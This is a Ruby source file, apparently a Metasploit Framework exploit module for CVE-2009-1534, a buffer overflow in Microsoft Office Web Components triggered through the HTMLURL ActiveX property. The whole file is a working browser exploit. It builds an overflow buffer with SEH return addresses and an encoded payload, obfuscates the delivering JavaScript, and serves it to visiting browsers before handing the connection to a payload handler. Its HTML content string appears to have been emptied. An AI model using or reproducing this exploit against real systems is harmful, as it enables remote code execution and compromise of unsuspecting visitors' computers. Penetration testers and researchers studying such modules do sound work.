## # $Id: ms09_043_owc_htmlurl.rb 8698 2010-03-03 18:12:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Microsoft's Office Web Components. When passing an overly long string as the "HTMLURL" parameter an attacker can execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 8698 $', 'References' => [ [ 'CVE', '2009-1534' ], [ 'OSVDB', '56916' ], [ 'BID', '35992' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\xf0", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # 'ProgId' => "OWC.Spreadsheet.9" # 'ClassId' => "0002E512-0000-0000-C000-000000000046", [ 'Windows XP SP3 - IE6 - Office XP SP0', { 'ClassId' => "0002E510-0000-0000-C000-000000000046", 'Offset' => 31337, 'Ret' => 0x42424242 # p/p/r in msohev.dll ?? } ], [ 'Windows XP SP3 - IE6 - Office XP SP3', { 'ClassId' => "0002E511-0000-0000-C000-000000000046", 'Offset' => ((4096*7) + 1076), 'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0 } ] ], 'DisclosureDate' => 'Aug 11 2009', 'DefaultTarget' => 1)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def big_alnum(num) divisor = 2048 + rand(2048) pad_pages = num / divisor pad_left = num % divisor ret = '' ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages ret << rand_text_alphanumeric(pad_left) if pad_left ret end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # ActiveX parameter(s) clsid = target['ClassId'] # Exploitation parameter(s) seh_offset = target['Offset'] # Build the buffer. string = big_alnum(seh_offset) string << generate_seh_record(target.ret) string << payload.encoded string << big_alnum(40960 - string.length) string = Rex::Text.to_unescape(string) objid = rand_text_alphanumeric(8+rand(8)) fnname = rand_text_alphanumeric(8+rand(8)) # Build the final JavaScript js = "function #{fnname}() { var long = unescape('#{string}'); #{objid}.HTMLURL = long; }" # Obfuscate the javascript opts = { 'Strings' => false, # way too slow to obfuscate this monster 'Symbols' => { 'Variables' => %w{ long } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate() # Build the final HTML content = %Q| | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content, { 'Last-Modified' => 'Tue, 11 Aug 2009 07:13:46 GMT', }) # Handle the payload handler(cli) end end